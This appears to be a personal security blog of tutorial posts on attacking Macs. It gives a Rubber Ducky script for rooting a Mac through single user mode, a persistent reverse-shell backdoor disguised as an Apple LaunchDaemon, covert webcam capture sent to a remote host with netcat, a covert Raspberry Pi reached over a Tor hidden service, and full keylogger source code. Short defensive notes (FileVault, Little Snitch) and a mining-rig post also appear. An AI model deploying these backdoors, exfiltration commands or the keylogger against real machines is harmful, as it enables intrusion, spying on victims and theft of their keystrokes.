Root a Mac with Hak5

Hak5 does an episode based on my article regarding rooting a mac in 10 seconds. Find the full tutorial here.

2,256 total views, no views today

Posted in Backdoor, OSX Security, Tutorials

Root a Mac in 10 seconds or less

rubber ducky usbOften times, physical access to a machine means game over. While people like to think that OSX is immune to most security threats, even Apple computers can be susceptible to physical attacks. Mac OSX is capable of booting into single user mode by holding a special key combination (Command-S). From this point, an attacker has root access to the entire computer. Note that this is not a security exploit, but rather an intentionally designed feature. While of course the intruder needs to be physically present, this can become a huge security problem. (There is proven method for preventing this attack that I will cover at the end of the article.)

Since physical access to the machine is required, time is precious and must be cut to a minimum. There are two methods for optimizing time, scripts and a little tool called the USB Rubber Ducky. The Rubber Ducky is small HID that looks like a flash drive and acts like a keyboard. It is designed to pound out scripts at freakish speeds, as if you were typing it yourself. Of course, a flash drive will work too.

This backdoor is almost identical to the basic backdoor described in OSX Backdoor – Persistence. Read that article if you would like to better understand the inner workings of this backdoor. Similarly, we will create a script that sends a shell back home through netcat. Finally, we will add the script as a Launch Daemons where it will be executed as root every 60 seconds.

Checkout the Github repository.

The Rubber Ducky Method

1) Download the Ducky Decoder and Firmware from here.

Be sure to use duck_v2.1.hex or above. There are instructions on how to flash your ducky. At the time of writing this, I used Ducky Decoder v2.4 and duck_v2.1.hex firmware. (Special thanks to midnitesnake for patching the firmware)

2) Create the script source.txt.

Be sure to replace mysite.com with your IP address or domain name. Similarly, place your port number 1337 on the same line.

REM Patrick Mosca
REM A simple script for rooting OSX from single user mode.
REM Change mysite.com to your domain name or IP address
REM Change 1337 to your port number
REM Catch the shell with 'nc -l -p 1337'
REM http://patrickmosca.com/root-a-mac-in-10-seconds-or-less/
DELAY 1000
STRING mount -uw /
ENTER
DELAY 2000
STRING mkdir /Library/.hidden
ENTER
DELAY 200
STRING echo '#!/bin/bash
ENTER
STRING bash -i >& /dev/tcp/mysite.com/1337 0>&1
ENTER
STRING wait' > /Library/.hidden/connect.sh
ENTER
DELAY 500
STRING chmod +x /Library/.hidden/connect.sh
ENTER
DELAY 200
STRING mkdir /Library/LaunchDaemons
ENTER
DELAY 200
STRING echo '<plist version="1.0">
ENTER
STRING <dict>
ENTER
STRING <key>Label</key>
ENTER
STRING <string>com.apples.services</string>
ENTER
STRING <key>ProgramArguments</key>
ENTER
STRING <array>
ENTER
STRING <string>/bin/sh</string>
ENTER
STRING <string>/Library/.hidden/connect.sh</string>
ENTER
STRING </array>
ENTER
STRING <key>RunAtLoad</key>
ENTER
STRING <true/>
ENTER
STRING <key>StartInterval</key>
ENTER
STRING <integer>60</integer>
ENTER
STRING <key>AbandonProcessGroup</key>
ENTER
STRING <true/>
ENTER
STRING </dict>
ENTER
STRING </plist>' > /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 500
STRING chmod 600 /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 200
STRING launchctl load /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 1000
STRING shutdown -h now
ENTER

3) Compile and install the script.

From within the ducky decoder folder, execute:


java -jar encoder.jar -i source.txt -o inject.bin -l us

Move your inject.bin over to the ducky.

4) Boot into single user mode (Command – S).

5) At the command prompt, plug in ducky.

6) Catch your shell.

nc -l -p 1337
nc -l 1337

Say hello! You are now root ;)

root shell

The USB Flash Drive Method

1) Create the file install.bash on a flash drive.


#!/bin/bash

#Create the hidden directory /Library/.hidden
mkdir /Library/.hidden

#Copy the script to hidden folder
echo "
#!/bin/bash
bash -i >& /dev/tcp/mysite.com/1337 0>&1
wait" > /Library/.hidden/connect.sh

#Give the script permission to execute
chmod +x /Library/.hidden/connect.sh

#Create directory if it doesn't already exist.
mkdir /Library/LaunchDaemons

#Write the .plist to LaunchDaemons
echo '

Label
com.apples.services
ProgramArguments

/bin/sh
/Library/.hidden/connect.sh

RunAtLoad
StartInterval
60
AbandonProcessGroup
' > /Library/LaunchDaemons/com.apples.services.plist

chmod 600 /Library/LaunchDaemons/com.apples.services.plist

#Load the LaunchAgent
launchctl load /Library/LaunchDaemons/com.apples.services.plist

shutdown -h now

2) Boot into single user mode (Command – S).

3) Execute the commands.


mount -uw /

mkdir /Volumes/usb

ls /dev

mount_msdos /dev/disk1s1 /Volumes/usb

cd /Volumes/usb

./install.bash

disk1s1 will change! If you’re not sure which device is your flash, take out your device, list devices, put your flash drive back in, and list devices. Your flash drive will be the device that has come and gone.

4) Catch your shell.

nc -l -p 1337

 

nc -l 1337

The difference between the USB Rubber Ducky method and the flash drive method is night and day. There is a little more preparation that goes into setting up the ducky, but execution time is prime. When time is of the essence, listing devices, making directories, and mounting flash drives can impede on an “operation.” Either route you choose, both methods will ensure a persistent backdoor as the root user :)

As for preventing this lethal attack, there are two possible defenses. Locking the EFI firmware will prevent users from accessing single user mode by locking single user mode with a password. Don’t do this. It is a complete waste of time. The password can be reset by removing physical RAM and resetting the PRAM as described here. The only sure way to prevent unwanted root access to your system is by simply enabling File Vault’s full disk encryption (not home folder encryption!). Since this encrypts the entire drive, it is will be impossible to access single user mode without the (strong) password. Problem solved.

This article was written to show the vulnerabilities of Macs without full disk encryption or locked EFI firmware. Please no one get in trouble. It is very easy to sniff the wire and find the attacker’s IP address that is causing excessive noise every 60 seconds.

I put the script and version 2.6.3 of the ducky encoder on Github for convenience. If you found this interesting, give a star. Thanks for reading.

55,715 total views, 8 views today

Posted in Backdoor, OSX Security, Tutorials

OSX Backdoor – Persistence

OSX has a very unique approach to fending off malware. Rather than using built-in antivirus software to discover and remove malware off of a system, OSX attempts to solve this problem by using the opposite approach. Rather than rejecting executables that may be harmful, the system only executes code that is signed and confirmed to be safe. This is a much more sophisticated way of keeping your computer safe.

For those of you who don’t know, code signing is simply a way of identifying a piece of software as authentic. It ensures that the code has not been tampered with since it was signed. Much like an author’s signature, code signing is unique to each writer and is confirmed with Apple Developer program. Through the use of cryptography, it is virtually impossible to “fake” a signature by brute force.

Since the Mac OS takes an inclusive approach to marking safe software, most Mac users have virtually no form of virus detection. By default, GateKeeper rejects all software that isn’t signed and downloadable from the App Store. Many users turn this setting off, allowing them to execute unsigned code. Our backdoor will be exploiting the lack of virus protection on OSX. (I will show a solution to this attack at the end)

Our backdoor is going to be based off of a one-liner that creates a reverse tcp bash shell.

bash -i >& /dev/tcp/my.site.here.com/1337 0>&1

This command is creating a bash shell and forwarding it to a remote host. In our case the remote host will be our publicly accessible computer. Pick a port number such as 1337. If you do not have a domain name to use, simply put your IP address (ex. 72.182.129.154).

reverse bash

Note: Most ISPs issue dynamic IP addresses, meaning they can change at any time. If your IP address were to change at any time, you would no longer have access to your backdoor. To prevent this, I recommend obtaining a free subdomain name online. There are many services that will issue you a free subdomain name and some software that will keep your dynamic IP address tied to your new subdomain name.

Since our payload is making a reverse connection, it is important that your computer is accessible from the internet. To do this, connect to your LAN’s router and setup port forwarding on TCP 1337 (whichever port you used) or turn on DMZ.

Note: DMZ stands for demilitarized zone. This essentially makes your computer visible to anyone on the internet. Do not turn this on if you do not know what you are doing.

To catch our reverse connection, we will use Netcat. Here is how we catch our reverse bash. Commands vary slightly depending on your machine.

nc -l -p 1337

 

nc -l 1337

This command tells your machine to run Netcat and listen on port 1337. When a connection is made by the victim, a shell is created. Test out your one liner by executing it on your test “victim” computer and catching it with netcat on your “attacker” computer.

Reverse shell with netcat

Awesome! We have successfully created a reverse shell to our victim across the net. Since the victim must connect to us before we can control it, it is important that the victim’s machine attempts to connect back on its own in intervals. The solution to this is Apple’s Launch Agents. A Launch Agent is simply a .plist that, in our case, consists of a command and an interval.

Before we get to the Launch Agents, lets create a shell script with our one-liner reverse shell. Create connect.sh. This is a shell script that calls our reverse shell and then waits for the shell to exit. (the wait command is necessary so that launchd does not kill our shell early)

#!/bin/bash
bash -i >& /dev/tcp/my.site.here.com/1337 0>&1
wait

Create a hidden directory in the victim’s home folder called .hidden. Copy connect.sh to the hidden directory. Give the shell script permission to execute.

#Create the hidden directory
mkdir $HOME/.hidden

#Copy the script to hidden folder
cp connect.sh $HOME/.hidden/connect.sh

#Give the script permission to execute
chmod +x $HOME/.hidden/connect.sh

Here we can see that our shell script is successfully copied to our hidden directory and has permission to execute.
hidden directory

Now lets create a Launch Agent that will execute the connect.sh shell script every 60 seconds. Here is a sample Launch Agent:

<plist version="1.0">
    <dict>
    <key>Label</key>
        <string>com.my.sneakyagent</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/sh</string>
        <string>Users/mosca1337/.hidden/connect.sh</string>
    </array>
    <key>RunAtLoad</key>
        <true/>
    <key>StartInterval</key>
        <integer>60</integer>
    <key>AbandonProcessGroup</key>
        <true/>
    </dict>
</plist>

Labels are written in com.*.* form (ex. com.my.sneakyagent). Pick something clever that won’t conflict with preexisting Launch Agents.

  • RunAtLoad tells the system to execute the program immediately.
  • StartInterval is the interval of seconds between each execution. (Ex. StartInterval of 300 will execute our reverse shell every 5 minutes)
  • AbandonProcessGroup is some syntactic sugar that prevents launchd from killing our process (Yes, launchd will kill processes if it isn’t behaving as it should.)

Now that we have our LaunchAgent, lets load it into our test machine. Launch Agents are located in ~/Library/LaunchAgents/

launchctl load com.my.sneakyagent.plist

Done! Listen for the reverse connection using the Netcat command from above.

Note: The maximum time that you will have to wait for an incoming connection is equal to the interval set in your Launch Agent. Larger intervals are less noisy, but smaller intervals mean less waiting. Your pick…

Now that you have learned how easy it is to setup a backdoor on just about any OSX machine, lets find a way to prevent this. Little Snitch is a tool that notifies you of all outgoing connections. Since our backdoor relies on an outgoing connection to our machine at port 1337, Little Snitch should catch this connection before the attacker is able to gain access.

Here is the complete project on Github. If you found this interesting, give a star. Thanks for reading.

5,177 total views, 1 views today

Posted in Backdoor, OSX Security, Tutorials

OSX Backdoor – Camera Control

Before following this tutorial, first read OSX Backdoor – Persistence.

Cameras come built-in on practically every Mac on the market. What’s even more interesting is that these cameras do not require special user permissions to access. This means that pictures can be taken by an attacker and viewed anywhere in the world, at any given moment. This can be a huge security and privacy exploit. Assuming that you have already configured and installed the backdoor discussed in OSX Backdoor – Persistence, lets add the ability to take pictures on a test victim’s computer.

Imagesnap is a quick and easy tool written by Robert Harder that simply takes a picture from a built-in camera. Download the repository from Github here and try running imagesnap in Terminal.


./imagesnap

Capturing image from device "Built-in iSight"...snapshot.jpg

Looking good! Now lets add this to our backdoor and add permission to execute.

cp imagesnap ~/.hidden/

Note: If you are copying imagesnap to the hidden directory via the backdoor itself, imagesnap will not have permission to execute. This is a built-in safeguard that OSX implements to prevent software from executing foreign code.You must run the following line to give it proper permissions.

chmod +x ~/.hidden/imagesnap

We have successfully hidden our imagesnap executable in the test victim’s home directory. Try taking a snapshot using our backdoor shell. Now lets send the snapshot home. First initiate a listener on the “attacking” computer with Netcat on port 1337.


nc -l -p 1337 > ~/Desktop/snapshot.jpg

After you have first initiated your listener, send the file from the victim’s computer by piping the image through Netcat.


cat ~/.hidden/snapshot.jpg | nc my.site.here.com 1337

Note: If you are executing this line via your backdoor, you will have to resolve ~/.hidden/ to /Users/username/.hidden/

If all went well, you should have a copy of the snapshot on your desktop.

Here is the complete project on Github. If you found this interesting, give a star. Thanks for reading.

1,584 total views, no views today

Posted in Backdoor, OSX Security, Tutorials

Litecoin Mining Rig

litecoinSo I recently built a Litecoin miner. If you haven’t heard of Litecoin, it is basically a new cryptocurrency that branched off of Bitcoin. This rig is based off of the standard 4x Sapphire Radeon 7950 setup. Each card is pulling 600 khash/s, totalling about 2.4 mhash/s altogether.  I’m using two PCIe x1 to PCIe x16 adapters and two powered PCI-e x16 adapters. The open air case was built from aluminum angles. The machine runs Xubuntu Linux and pulls about 1200 watts consistently.

A time lapse of the build:

The config file for cgminer:

"intensity" : "20",
"vectors" : "1",
"worksize" : "256",
"lookup-gap" : "2",
"thread-concurrency" : "21712",
"shaders" : "1792",

"gpu-dyninterval" : "7",
"gpu-platform" : "0",

"gpu-threads" : "1",
"gpu-engine" : "1025",
"gpu-memclock" : "1550",
"gpu-powertune" : "20",
"gpu-vddc" : "1.100",
"temp-cutoff" : "99",
"temp-overheat" : "95",
"temp-target" : "80",
"gpu-fan" : "70-100",

"log" : "5",
"queue" : "1",
"scan-time" : "60",
"temp-hysteresis" : "3",

"api-port" : "4028",
"expiry" : "120",
"failover-only" : true,
"gpu-threads" : "1",

"no-pool-disable" : true,
"scrypt" : true,
"shares" : "0",
"kernel" : "scrypt",
"kernel-path" : "/usr/local/bin"

The bios on the GPUs:

NameSizeHits
Sapphire 7950 BIOS128.0 KiB317
Sapphire 7950 BOOST BIOS128.0 KiB321

1,484 total views, no views today

Posted in Cryptocurrency, Projects

Covert operations as easy as Pi

raspberry piSo I recently obtained a new Raspberry Pi this week. Being as though many owners have already used the Pi as a simple web server, I found that it would be interesting to use this tiny computer for covert ‘analysis’ of remote networks. The Pi can be used to tap into networks via Ethernet or WiFi. Due to the size of this guy, it can easily be placed out of view.

Controlling the Pi over SSH will be the most difficult challenge to overcome when using this device remotely. A first option would consist of directly connecting to the Pi over the internet. It is most likely that the Pi will be behind some sort of firewall or router.  This makes incoming connections unreasonably difficult. A second option would involve a repetitive reverse connection that would ‘call home’ on a given interval. This is noisy and could cause unwanted attention. The option that I would like to explore consists of using private networks to gain public exposure.

Since setting up a virtual private network can be time consuming and revealing, we will use Tor as an ‘anonymous’ and easy alternative. Before we get into that, lets download and image the Pwn Pi distribution. You can use whatever distribution that you like or make your own if you have the time. I don’t have the time.

Setting up the Pi

Double check the SHA1 hash. Unzip the image. Unmount the SD card. Copy over the image.

#Check SHA1
sha1sum pwnpi-3.0.img.7z
#Install p7zip (optional) and unzip
sudo apt-get install p7zip
7za e pwnpi-3.0.img.7z

#Find your SD card
df -h
#Unmount it
umount /dev/sdd1
#Copy over the image
dd bs=4M if=~/pwnpi-3.0.img of=/dev/sdd

More detailed instructions for flashing an SD card can be found here.

Pwn Pi

Now that we have the Pi up and running, connect to your Pi through your local network. I simply plugged an Ethernet cable into the device and connected via ssh. Next, install tor.

ssh root@10.1.10.1
#From the Pi command line
sudo apt-get install tor

Open up the tor configuration file at /etc/tor/torrc and add the following lines:


HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 22 127.0.0.1:22

These settings will create a hidden ssh service on port 22 of the local loopback address. For these settings to take effect you can either restart tor or simply restart the Pi.


service tor restart
#Or
shutdown -r now

hidden service

Check to make sure that tor is up and running on port 9050 by running nmap on your localhost. You should now have two important files located in the /var/lib/tor/hidden_service/ directory called hostname and private_key. Your private_key should stay private, as the name implies, and your hostname should stay as private as you need it to be. The hostname contains the address to your raspberry pi’s hidden ssh service. This will be important later on. If Tor did not generate hidden service files or Tor does not appear to start automatically at boot time, you may need to change ownership of the directory. Run the commands below and restart.


#Check your ports
nmap localhost

#Check Tor logs
ls /var/log/tor/
cat /var/log/tor/log

#Change ownership
chown -R debian-tor /var/lib/tor/hidden_service/

#Restart one more time
shutdown -r now

nmap localhost

Connecting to the Pi

Now that we have our hidden ssh service up and running, let’s attempt to make a connection. Download and install Tor if you haven’t already. Download connect.c and compile it. Next, create a file named config in your ~/.ssh directory. Adding the following lines to the config will cause all *.onion domains to be passed through the connect program.

#Install tor
sudo apt-get install tor

#Compile
gcc -o /usr/local/bin/connect connect.c
chmod 755 /usr/local/bin/connect

#Change ssh configuration
echo 'Host *.onion
ProxyCommand /usr/local/bin/connect -S localhost:9050 %h %p' &gt;&gt; ~/.ssh/config

You should now be good to go. Startup tor and connect to your Pi via the hostname found at /var/lib/tor/hidden_service/hostname on the Pi.


tor &amp;
ssh root@swzwwr7xg6z77mjn.onion

ssh tor

It is very likely that you will experience a lot of lag when working through Tor. This is the price you pay. Overall, I think this is a pretty cool concept. Not only can you connect to your Pi from anywhere in the world, but your Pi could be anywhere else in the world too! As long as your two devices have internet access, they will never be apart. :D

1,083 total views, no views today

Posted in Network Analysis, Social Engineering, Tutorials

Stopping Backdoors

Little Snitch

As described in the previous tutorial OSX Backdoor – Persistence, we learned how easy it is to implement a simple backdoor onto any OSX system. Since our backdoor is comprised of lower level Launch Agents and shell scripts, it is essentially invisible to your typical user. As more and more software is installed on a system, it often becomes difficult to become aware of this type of malware before it can do damage.

To prevent practically any form of backdoor from functioning on your system, it is vital that the reverse connection be blocked altogether. A good first defense is always checking your Launch Agents, Launch Deamons, and Startup Items.

~/Library/StartupItems
~/Library/LaunchAgents

/Library/StartupItems
/Library/LaunchDaemons
/Library/LaunchAgents

Checking these common locations will help keep out a lot of automated tasks. Little Snitch is a very powerful too that will catch these outgoing connections before they are made.

When our backdoor attempts to call home, Little Snitch blocks the connection:

little snitch blocks backdoor

This tool is very useful for monitoring your computer’s activities. Whether software is running in a GUI or hidden in the background, you can be sure that no unauthorized connections will be made. Many different rules can be set to allow and block different types of connections. Little Snitch can be found on the App Store for a few $$$. Congratulations, you blocked your own backdoor.

653 total views, no views today

Posted in Backdoor, OSX Security, Tutorials

OSX Keylogger

#include <iostream>
#include <stdio.h>
#include <time.h>
#include <ApplicationServices/ApplicationServices.h>
#include <Carbon/Carbon.h> /* For kVK_ constants, and TIS functions. */

FILE *logFile = NULL;
time_t lastLine = time(0);
bool firstLine = true;

const char* keyCodeToReadableString (CGKeyCode);
CGEventRef myCGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);

int main (int argc, const char * argv[]) {

    CGEventFlags oldFlags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState);

    CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
    CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, myCGEventCallback, &oldFlags);

    if (!eventTap) {
        fprintf(stderr, "failed to create event tap\nyou need to enable \"Enable access for assitive devices\" in Universal Access preference panel.");
        exit(1);
    }

    CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
    CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
    CGEventTapEnable(eventTap, true);

    //Find home directory
    const char *curDirectory = getenv("PWD");
    if (argc > 1) {
        //Create log file at given argument
        logFile = fopen(argv[1], "a");
        std::cout << argv[1] << std::endl;
    }
    else if (curDirectory) {
        //Default log file to current directory
        char logLocation[80];
        strcpy(logLocation,curDirectory);
        strcat(logLocation, "/keyLogger.log");
        logFile = fopen(logLocation, "a");
        std::cout << logLocation << std::endl;
    }
    else {
        return -1;
    }

    CFRunLoopRun();

    return 0;
}

CFStringRef createStringForKey(CGKeyCode keyCode)
{
    TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
    CFDataRef uchr = (CFDataRef)TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
    const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout*)CFDataGetBytePtr(uchr);

    UInt32 keysDown = 0;
    UniChar chars[4];
    UniCharCount realLength;

    UCKeyTranslate(keyboardLayout,
                   keyCode,
                   kUCKeyActionDisplay,
                   0,
                   LMGetKbdType(),
                   kUCKeyTranslateNoDeadKeysBit,
                   &keysDown,
                   sizeof(chars) / sizeof(chars[0]),
                   &realLength,
                   chars);
    CFRelease(currentKeyboard);

    return CFStringCreateWithCharacters(kCFAllocatorDefault, chars, 1);
}

CGEventRef myCGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
    if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) {
        return event;
    }

    CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);

    if (logFile) {
        double secondsSinceLastLine = difftime(time(0), lastLine);
        if (firstLine || secondsSinceLastLine > 10) {
            //Print time on beginning of first line
            time_t currentTime;
            time(&currentTime);
            struct tm *time_info = localtime(&currentTime);

            char fmtTime[32];
            strftime(fmtTime, 32, "%F %T", time_info);

            fprintf(logFile, "\n%s %s", fmtTime, keyCodeToReadableString(keyCode));
            firstLine = false;
            fflush(logFile);
            lastLine = time(0);
        }
        else {
            fprintf(logFile, "%s", keyCodeToReadableString(keyCode));
        }
    }
    return event;
}

const char* keyCodeToReadableString (CGKeyCode keyCode) {
    //CFStringRef key = createStringForKey(keyCode);
    //std::cout << (int)keyCode << std::endl;
    //printf("Printing few things = %s\n",CFStringGetCStringPtr(key, kCFStringEncodingMacRoman));
    switch ((int) keyCode) {
        case   0: return "a";
        case   1: return "s";
        case   2: return "d";
        case   3: return "f";
        case   4: return "h";
        case   5: return "g";
        case   6: return "z";
        case   7: return "x";
        case   8: return "c";
        case   9: return "v";
        case  11: return "b";
        case  12: return "q";
        case  13: return "w";
        case  14: return "e";
        case  15: return "r";
        case  16: return "y";
        case  17: return "t";
        case  18: return "1";
        case  19: return "2";
        case  20: return "3";
        case  21: return "4";
        case  22: return "6";
        case  23: return "5";
        case  24: return "=";
        case  25: return "9";
        case  26: return "7";
        case  27: return "-";
        case  28: return "8";
        case  29: return "0";
        case  30: return "]";
        case  31: return "o";
        case  32: return "u";
        case  33: return "[";
        case  34: return "i";
        case  35: return "p";
        case  37: return "l";
        case  38: return "j";
        case  39: return "\"";
        case  40: return "k";
        case  41: return ";";
        case  42: return "\\";
        case  43: return ",";
        case  44: return "/";
        case  45: return "n";
        case  46: return "m";
        case  47: return ".";
        case  50: return "`";
        case  65: return "<keypad-decimal>";
        case  67: return "<keypad-multiply>";
        case  69: return "<keypad-plus>";
        case  71: return "<keypad-clear>";
        case  75: return "<keypad-divide>";
        case  76: return "<keypad-enter>";
        case  78: return "<keypad-minus>";
        case  81: return "<keypad-equals>";
        case  82: return "<keypad-0>";
        case  83: return "<keypad-1>";
        case  84: return "<keypad-2>";
        case  85: return "<keypad-3>";
        case  86: return "<keypad-4>";
        case  87: return "<keypad-5>";
        case  88: return "<keypad-6>";
        case  89: return "<keypad-7>";
        case  91: return "<keypad-8>";
        case  92: return "<keypad-9>";
        case  36: return "<return>";
        case  48: return "<tab>";
        case  49: return "<space>";
        case  51: return "<delete>";
        case  53: return "<escape>";
        case  55: return "<command>";
        case  56: return "<shift>";
        case  57: return "<capslock>";
        case  58: return "<option>";
        case  59: return "<control>";
        case  60: return "<right-shift>";
        case  61: return "<right-option>";
        case  62: return "<right-control>";
        case  63: return "<function>";
        case  64: return "<f17>";
        case  72: return "<volume-up>";
        case  73: return "<volume-down>";
        case  74: return "<mute>";
        case  79: return "<f18>";
        case  80: return "<f19>";
        case  90: return "<f20>";
        case  96: return "<f5>";
        case  97: return "<f6>";
        case  98: return "<f7>";
        case  99: return "<f3>";
        case 100: return "<f8>";
        case 101: return "<f9>";
        case 103: return "<f11>";
        case 105: return "<f13>";
        case 106: return "<f16>";
        case 107: return "<f14>";
        case 109: return "<f10>";
        case 111: return "<f12>";
        case 113: return "<f15>";
        case 114: return "<help>";
        case 115: return "<home>";
        case 116: return "<pageup>";
        case 117: return "<forward-delete>";
        case 118: return "<f4>";
        case 119: return "<end>";
        case 120: return "<f2>";
        case 121: return "<page-down>";
        case 122: return "<f1>";
        case 123: return "<left>";
        case 124: return "<right>";
        case 125: return "<down>";
        case 126: return "<up>";
    }
    return "<unknown>";
}

1,105 total views, no views today

Posted in OSX Security